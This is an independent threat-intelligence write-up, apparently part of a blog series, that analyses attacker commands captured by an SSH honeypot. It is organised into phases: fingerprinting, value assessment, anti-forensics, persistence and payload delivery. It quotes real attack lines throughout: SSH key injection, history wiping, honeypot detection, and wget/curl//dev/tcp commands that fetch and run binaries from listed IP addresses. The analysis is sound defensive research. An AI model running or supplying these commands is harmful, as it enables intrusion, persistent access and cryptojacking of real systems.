LSN โ€” Local Sovereign Network

TI-2026-051B • The Credential Harvest • Letter II of VI

The Shopping List

In which we read the receipts of 133 commands and discover that every attacker arrives with a plan

CONFIDENCE: HIGH CATEGORY: BEHAVIORAL ANALYSIS SERIES: 051 โ€” THE CREDENTIAL HARVEST

I. The Five-Phase Pipeline

A credential gets you through the door. But what's on the other side?

Our honeypot records every keystroke after successful authentication. Across the current observation window: 133 unique commands, executed in sequences that reveal not improvisation but protocol. Every attacker who runs commands follows the same five-phase pipeline:

๐Ÿญ The Post-Authentication Pipeline

๐Ÿ”
PHASE 1
Fingerprint
โ†’
๐Ÿ’ฐ
PHASE 2
Assess Value
โ†’
๐Ÿงน
PHASE 3
Clear Traces
โ†’
๐Ÿ”’
PHASE 4
Persist
โ†’
๐Ÿ’ฃ
PHASE 5
Deploy

This is not improvisation. This is a production line.

The ordering is consistent across multiple IPs, multiple campaigns, and multiple weeks of observation. No attacker skips Phase 1 (fingerprinting). Most stop at Phase 2 (value assessment) โ€” because 96.4% of sessions determine the target isn't worth exploiting (as documented in Series 050B, The Silent Handshake). Only the high-value minority proceeds to Phases 3-5.

This is a quality control system. The credential gets you in the factory. The shopping list determines what you take.

II. Phase 1: "What Am I Looking At?"

The first command after login is always identification. Not of the attacker โ€” of the target.

๐Ÿ” Phase 1: System Fingerprinting โ€” 133+ executions across 19+ IPs

Command Runs IPs Intelligence Gathered
uname -s -v -n -m 58 9 OS name, version, hostname, architecture
uname -s -v -n -r -m 57 4 + kernel release (vulnerability targeting)
/bin/uname, /usr/bin/uname, busybox uname 47 each 7 Fallback paths โ€” works on minimal systems
uname -a 21 19 Full system info (simpler script)
cat /proc/cpuinfo 18 16 CPU count, model (mining potential)
whoami 20 6 Privilege level confirmation
ifconfig 18 16 Network interfaces, internal IP range

Notice the redundancy. The command uname is tried via four different paths: /bin/uname, /usr/bin/uname, busybox uname, and bare uname. This is not uncertainty โ€” it's environmental resilience. The script must work on full Linux, stripped containers, BusyBox-based IoT devices, and embedded systems where PATH is non-standard.

The fingerprinting answers four questions simultaneously:

  1. What payload architecture? โ€” x86_64, aarch64, armv7l, mips? This determines which binary to download.
  2. What exploitation surface? โ€” Kernel version determines which local privilege escalation exploits work.
  3. What mining potential? โ€” CPU count and model determine crypto-mining profitability.
  4. What network position? โ€” Internal IP reveals whether lateral movement is possible.
The CIA's Vault 7 "Codex Spec" (SECRET//ORCON/NOFORN) defines a standardized metadata collection format: "original filename, path, size, MD5 hash, modified time, accessed time, created time, owner, group." The same intelligence requirement โ€” characterize the target before exploitation โ€” drives both nation-state operations and criminal botnets. The methodology is identical. Only the classification level differs.
โ€” WikiLeaks, CIA Vault 7: Codex Specification, 2017

III. Phase 2: "Is This Worth My Time?"

After fingerprinting comes the economic decision. Not every compromised system is worth exploiting. The attacker must determine: is the marginal revenue of deploying a payload greater than the marginal cost of maintaining access?

๐Ÿ’ฐ Phase 2: Value Assessment โ€” The Economic Calculus

Memory Threshold

m=0; while read k v r; do [ "$k" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo; [ "$m" -gt 1048576 ] && echo 1 || echo 0
Threshold: 1,048,576 KB = 1 GB
Below 1GB โ†’ ABANDONED
Above 1GB โ†’ proceed to mining deployment

Competitor Detection

ps | grep '[Mm]iner'
18 executions, 16 IPs
Question: "Is someone already mining here?"
If yes โ†’ kill their miner, install yours
Revenue = (your hash rate) - (displaced competitor)

Device Type Detection

/ip cloud print
18 executions, 16 IPs
MikroTik RouterOS command
Routers have DIFFERENT value: DNS hijack, traffic interception, VPN endpoint, permanent relay node

Marker File Check

locate D877F783D5D3EF8Cs
18 executions, 16 IPs
"Have I been here before?"
Unique hex marker file left by this specific botnet as territory claim

The 1 GB threshold is the most revealing command in the entire dataset. It is an explicit, coded economic decision. The operator has calculated that:

  • A machine with <1 GB RAM mines at approximately X hash/second
  • At current Monero difficulty, this produces <$Y per month
  • Maintaining the compromised host (C2 communication, persistence, updates) costs approximately $Z
  • When Y < Z, the host is abandoned.

This is not hacking. This is asset management. The same calculation a venture capitalist makes when deciding which portfolio companies to continue funding.

Read between the lines: The 1 GB threshold tells us exactly what the attacker is deploying: a cryptocurrency miner. Not ransomware (which would encrypt regardless of RAM). Not a botnet relay (which needs bandwidth, not memory). Not data exfiltration (which needs disk access, not RAM). The memory check IS the payload declaration.

IV. Phase 3: "Nobody Saw Me Here"

Before touching anything permanent, the sophisticated attacker erases the evidence of their own commands:

๐Ÿงน Phase 3: Anti-Forensics Suite โ€” 9 executions, 3 IPs

$ export HISTFILE=/dev/null โ† bash won't save commands to disk
$ export HISTSAVE=/dev/null โ† ksh/zsh variant
$ unset HISTFILE โ† redundant removal (belt + suspenders)
$ unset HISTSAVE โ† redundant removal
$ if ! type export >/dev/null 2>&1; then โ† HONEYPOT DETECTION
$ echo "ERROR: BADtype: export" โ† Cowrie doesn't implement 'type' builtin correctly

Four commands to disable history. Four. Two exports and two unsets. The redundancy is deliberate โ€” it covers bash, ksh, zsh, and any other shell that might be running. The attacker doesn't know which shell they landed in, so they clear ALL of them.

But the fifth command is the masterpiece: if ! type export. This tests whether the type builtin works as expected. In real bash, type export returns "export is a shell builtin." In Cowrie (our honeypot), the implementation is imperfect โ€” it may not handle this query correctly.

The attacker is testing whether they're in a real system or a trap.

The output string "ERROR: BADtype: export" is never displayed to us โ€” it's checked internally by the script. If the test fails (indicating a honeypot), the script likely terminates. The commands we see are only the ones that didn't detect the deception.

The implication: For every session we observe, there may be sessions that detected our honeypot and silently disconnected. Our data contains only the survivors of the detection filter โ€” the commands from tools that weren't sophisticated enough to identify Cowrie, or from operators who don't include the detection check.

V. Phase 4: "The Lock Changes But I Keep My Key"

Persistence is the difference between a one-time theft and ongoing access. Two techniques dominate:

๐Ÿ”’ Phase 4: Persistence Mechanisms

Technique A: SSH Key Injection

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv..." >> .ssh/authorized_keys && chmod 700 .ssh && chmod 600 .ssh/authorized_keys
3 executions, 3 IPs • Destroys existing .ssh entirely • Injects attacker's public key • Even if password is changed, key access remains permanent

Technique B: Immutability Bypass

cd ~; chattr -ia .ssh; lockr -ia .ssh
3 executions, 3 IPs • chattr -ia removes immutable + append-only flags • lockr = non-standard tool (busybox variant?) • Evidence of COMPETITION: previous attackers set immutable flags to protect their persistence

The SSH key injection is elegant in its finality. The attacker doesn't just add their key โ€” they destroy the entire .ssh directory and rebuild it from scratch. This serves three purposes:

  1. Eliminates the legitimate owner's keys โ€” preventing them from using key-based auth to investigate
  2. Eliminates competitor keys โ€” previous attackers lose their persistence
  3. Creates a clean slate โ€” no residual authorized_keys entries to detect

But the chattr -ia command tells a deeper story. The -i flag removes the "immutable" attribute. The -a flag removes "append-only." These flags can only be SET by root. Their presence means a previous attacker โ€” who also had root โ€” marked the .ssh directory as immutable to protect their own persistence mechanism.

This is a territorial conflict. Multiple attackers competing for the same resource, using Linux filesystem attributes as locks and lockpicks. The first attacker sets immutable to protect their key. The second attacker removes immutable to overwrite it with theirs.

The recursive irony: The very persistence mechanism that makes a compromised host valuable (key-based re-entry) makes it a target for other attackers. A system with an SSH key in authorized_keys is not just compromised โ€” it is improved infrastructure from the next attacker's perspective. They just need to replace one key with another.

VI. Phase 5: "Delivery"

The final phase. The payload arrives. Three distinct delivery mechanisms observed:

๐Ÿ’ฃ Payload Delivery Mechanisms

Delivery A: The Meow Botnet

cd /tmp; ulimit -n 1020000; rm -rf meow*; wget http://34.181.210.37/meow; curl -O http://34.181.210.37/meow; chmod 777 meow; ./meow; wget http://34.181.210.37/meowarm64; curl -O http://34.181.210.37/meowarm64; chmod 777 meowarm64; ./meowarm64
๐Ÿ“ Server: 34.181.210.37 (Google Cloud Platform, France ๐Ÿ‡ซ๐Ÿ‡ท)
๐Ÿ“ฆ Binaries: meow (x86) + meowarm64 (ARM64) โ€” dual architecture
โšก ulimit -n 1020000 โ€” increases file descriptors to 1M (mass-connection botnet)
๐Ÿ”‘ Preceded by: echo '123456' | sudo -S โ€” uses SSH password for sudo

Delivery B: Chinese /linux Payload (Triple Fallback)

nohup $SHELL -c "curl http://121.28.170.66:9356/linux -o /tmp/Xyf9SoRDYR; if [ ! -f /tmp/Xyf9SoRDYR ]; then wget http://121.28.170.66:9356/linux -O /tmp/Xyf9SoRDYR; fi; if [ ! -f /tmp/Xyf9SoRDYR ]; then exec 6<>/dev/tcp/121.28.170.66/9356 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/Xyf9SoRDYR; fi"
๐Ÿ“ Four C2 servers: 121.28.170.66 :9356, 124.221.177.40 :9549, 180.76.137.37 :60135, 47.120.55.164 :60128
๐Ÿ“ฆ Generic filename: /linux โ€” one binary, multiple servers
๐Ÿ”„ Triple fallback: curl โ†’ wget โ†’ raw TCP (/dev/tcp)
๐ŸŽฒ Randomized temp filenames: Xyf9SoRDYR, 6YKa2oZpLi, GM40YHNP1d
โšก nohup โ€” survives shell termination

Delivery C: IoT/BusyBox Payload

busybox wget http://31.170.22.205/dl600
๐Ÿ“ Server: 31.170.22.205 (Latvia ๐Ÿ‡ฑ๐Ÿ‡ป)
๐Ÿ“ฆ Payload: dl600 โ€” IoT-specific (busybox = embedded device)
๐ŸŽฏ Targets devices too small for standard Linux tools

Three delivery mechanisms, three operator profiles:

Meow (France/GCP) โ€” The DDoS operator. ulimit -n 1020000 is the smoking gun: increasing file descriptors to one million means the binary needs to maintain a million simultaneous connections. That's a DDoS botnet. It downloads BOTH x86 and arm64 variants โ€” wasteful but architecturally agnostic. The echo '123456' | sudo -S reveals it uses the same password for sudo escalation that worked for SSH โ€” exploiting the probability that default passwords are reused across services.

Chinese /linux (Triple Fallback) โ€” The resilient operator. Four C2 servers, three download methods. If curl is absent, try wget. If wget is absent, use raw bash TCP (/dev/tcp). The random filenames evade simple grep-based detection. The nohup ensures the download survives even if the SSH session is killed. This operator expects network filtering and has engineered around it.

dl600 (Latvia/BusyBox) โ€” The IoT specialist. busybox wget targets the stripped-down environment of routers, cameras, and embedded devices. The payload name "dl600" suggests a scanner/spreader (numerical naming convention common in Mirai variants).

โš ๏ธ The Sudo Password Reuse Attack

The meow botnet uses: echo '123456' | sudo -S

It pipes the SSH password ('123456') directly into sudo. This works because:

  • The system has the same default password for both SSH and sudo
  • No separate sudo password was ever configured
  • The attacker doesn't NEED to crack sudo โ€” they already HAVE the credential from Phase 0

One default password = full root access. Not two exploits. One.

VII. The Contested Resource

The most human detail in the entire command set is the competition:

rm -rf /tmp/secure.sh
rm -rf /tmp/auth.sh
pkill -9 secure.sh
pkill -9 auth.sh
echo > /etc/hosts.deny
pkill -9 sleep

Read this sequence carefully. The attacker is:

  1. Deleting competitor scripts (secure.sh, auth.sh โ€” names chosen to look legitimate)
  2. Killing competitor processes (force-kill, no graceful shutdown)
  3. Emptying hosts.deny โ€” removing IP blocks that a previous attacker may have set to prevent others from accessing the system
  4. Killing all sleep processes โ€” breaking timer-based persistence of competitor malware

This is gang warfare for CPU cycles. The compromised system is a contested resource, and multiple criminal operations fight over it in real-time. The attacker who arrives second must first evict the attacker who arrived first.

The echo > /etc/hosts.deny is particularly revealing. A previous attacker modified hosts.deny to BLOCK other IPs from connecting โ€” an attempt to monopolize the compromised system. The new attacker empties this file to restore access for themselves (and anyone else). It's the digital equivalent of cutting someone else's padlock off a squat.

"A coordinated international law enforcement operation resulted in the seizure of HIVE SPIDER infrastructure and acquisition of the Hive ransomware decryption key. The U.S. Department of Justice has reportedly maintained access to HIVE SPIDER's internal infrastructure since July 2022."
โ€” CrowdStrike Global Threat Report, 2024

Even law enforcement participates in the same dynamic: maintaining persistent access to criminal infrastructure without the criminal knowing. The DOJ was inside HIVE SPIDER for six months, observing. The same access-persistence-surveillance pipeline that criminals run against victims, governments run against criminals. And sometimes โ€” as the Snowden documents proved โ€” against everyone else too.

VIII. The Kill Chain Economy

The Verizon DBIR 2024 reports 5,175 System Intrusion incidents with 3,803 confirmed data disclosures. Financial motive: 95%. Espionage: 5%. The credential-to-exploitation pipeline we've documented in this letter IS that statistic โ€” observed at the individual command level.

The full economic chain:

โ›“๏ธ The Kill Chain as Supply Chain

1 Scanner (Series 049-050) finds open SSH port โ†’ cost: ~$0.001/IP scanned
2 Credential (Series 051A) validates access โ†’ cost: ~$0.0001/attempt
3 Fingerprint (Phase 1) characterizes system โ†’ cost: negligible
4 Assessment (Phase 2) determines ROI โ†’ gates: >1GB RAM
5 Persistence (Phase 4) secures ongoing access โ†’ value: credential becomes an asset
6 Deployment (Phase 5) generates revenue โ†’ mining: ~$2-30/month/host

The entire chain โ€” from scan to revenue โ€” is automated, economic, and optimized. The human involvement is in the initial tool development and infrastructure management. The execution is pure machinery.

And this is just the mining path. For ransomware affiliates (documented by CrowdStrike as "Initial Access Brokers"), the validated credential is itself the product โ€” sold for $10-$10,000 depending on the target's industry, revenue, and network size. The shopping list in Phase 2 is also a pricing inventory: more CPUs, more RAM, more value.

IX. The Thread Forward

This letter documented the shopping list โ€” what happens after the credential works. Five phases, three delivery mechanisms, one economic logic: maximize revenue per compromised host while minimizing detection risk.

The next letter โ€” TI-2026-051C: "The Stuffing Machine" โ€” will examine the credential-reuse patterns that connect different IPs to the same operator. When the same username/password pair appears from 10+ different source IPs, it's not coincidence. It's a distributed workforce sharing the same input list.

๐Ÿ”— Series Continuity

๐Ÿ”‘ 051A โ€” The Password Is the Product โ†’ The credential as commodity
๐Ÿ›’ 051B โ€” The Shopping List โ†’ Post-auth exploitation pipeline โ† YOU ARE HERE
๐Ÿ”„ 051C โ€” The Stuffing Machine โ†’ Credential reuse across distributed fleet
๐Ÿ—๏ธ 051D โ€” Keys to the Kingdom โ†’ SSH key forensics
๐Ÿ’ฌ 051E โ€” The Telegram Market โ†’ From breach to sale
๐Ÿ’ธ 051F โ€” The Economy of Access โ†’ Pricing model synthesis

They didn't break in to look around.
They arrived with a list. They checked every item.
And if the system wasn't worth their time, they left.

Investigation Details

Investigation ID: TI-2026-051B
Classification: BEHAVIORAL ANALYSIS
Confidence: HIGH
Evidence Items: 12
Infrastructure Records: 6
Entity Connections: 5
Published: 2026-07-01

Cross-References

โ† TI-2026-051A (The Password Is the Product)
โ† TI-2026-050B (The Silent Handshake)
โ† TI-2026-029 (Gafgyt GPU Mining)
โ†’ TI-2026-051C (The Stuffing Machine)
shuffle-on.com/threat-intel • The Credential Harvest • Letter II of VI
โš  Personal capacity. Research published independently โ€” not reflecting employer views. Derived from passive observation of attacks against personal infrastructure. Full disclaimer โ†’
โ† Previous The Credential Harvest โ€” 2 / 14 Next โ†’